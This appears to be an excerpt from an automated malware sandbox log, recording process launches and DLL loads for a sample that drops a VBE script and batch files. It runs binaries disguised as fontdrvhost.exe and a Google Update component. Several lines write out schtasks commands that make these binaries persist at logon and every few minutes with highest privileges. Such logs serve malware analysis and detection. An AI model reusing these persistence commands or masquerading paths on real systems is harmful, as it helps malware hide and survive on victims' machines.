Source: C:\Drivers\fontdrvhost.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "AdbXCBUViTnoVBSsOq" /sc ONLOGON /tr "'C:\Program Files (x86)\google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe'" /rl HIGHEST /f
Source: C:\Drivers\fontdrvhost.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "AdbXCBUViTnoVBSsOqA" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe'" /rl HIGHEST /f
Source: C:\Drivers\fontdrvhost.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 8 /tr "'C:\Drivers\fontdrvhost.exe'" /f
Source: C:\Drivers\fontdrvhost.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Drivers\fontdrvhost.exe'" /rl HIGHEST /f
Source: C:\Drivers\fontdrvhost.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 14 /tr "'C:\Drivers\fontdrvhost.exe'" /rl HIGHEST /f
Source: unknown	Process created: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe "C:\Program Files (x86)\google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe"
Source: unknown	Process created: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe "C:\Program Files (x86)\google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe"
Source: unknown	Process created: C:\Drivers\fontdrvhost.exe C:\Drivers\fontdrvhost.exe
Source: unknown	Process created: C:\Drivers\fontdrvhost.exe C:\Drivers\fontdrvhost.exe
Source: C:\Drivers\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\vK5Z1luEHZ.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Drivers\fontdrvhost.exe "C:\Drivers\fontdrvhost.exe"
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Drivers\tovs28pB6Vd1SzaEcRy6OtKi8G4GdEOG4Cet.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Drivers\SE7AQJDJtAMXQraxpdEvOEZ68dJxrB3UY7MvAzdsW8.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Drivers\fontdrvhost.exe "C:\/Drivers/fontdrvhost.exe"	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\vK5Z1luEHZ.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Drivers\fontdrvhost.exe "C:\Drivers\fontdrvhost.exe"

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: amsi.dll	Jump to behavior
